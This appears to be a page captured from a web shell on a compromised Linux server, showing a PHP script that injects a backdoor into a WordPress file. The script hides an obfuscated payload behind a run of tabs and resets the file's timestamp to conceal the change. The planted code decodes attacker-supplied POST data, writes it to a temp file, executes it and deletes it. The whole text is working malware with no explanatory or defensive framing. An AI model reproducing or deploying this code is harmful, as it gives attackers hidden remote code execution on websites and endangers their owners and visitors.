HEX
Server: Apache
System: Linux iad1-shared-e1-26 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User: ricpug (13815490)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //var/tmp/.partition
<?php  $path = '/home/centralmidia/centralmidiajocum.com.br/site/wp-includes/js/plupload/sync_db_tables.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28count%28%24_POST%29%20%3E%200%20%26%26%20isset%28%24_POST%5B%22%5Cx69%5Cx74em%22%5D%29%29%7B%20%24val%20%3D%20%24_POST%5B%22%5Cx69%5Cx74em%22%5D%3B%20%24val%20%3D%20explode%28%22.%22%2C%20%24val%20%29%20%3B%20%24factor%20%3D%20%27%27%3B%20%24s%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%20%24s%20%29%3B%20foreach%28%20%24val%20as%20%24q%20%3D%3E%20%24v3%29%20%7B%20%24chS%20%3D%20ord%28%20%24s%5B%24q%20%25%20%24sLen%5D%20%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v3%20-%20%24chS%20-%28%20%24q%20%25%2010%29%29%20%5E%2070%3B%20%24factor%20.%3D%20chr%28%20%24dec%20%29%3B%7D%20%24element%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20%22/dev/shm%22%2C%20getenv%28%22TMP%22%29%2C%20session_save_path%28%29%5D%29%3B%20foreach%20%28%24element%20as%20%24mrk%29%20%7B%20if%20%28%21%21is_dir%28%24mrk%29%20%26%26%20%21%21is_writable%28%24mrk%29%29%20%7B%20%24res%20%3D%20%22%24mrk%22%20.%20%22/.obj%22%3B%20if%20%28file_put_contents%28%24res%2C%20%24factor%29%29%20%7B%20require%20%24res%3B%20unlink%28%24res%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             @touch($path, $ft);             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die('!success!');             }         }     } } die('!failed!');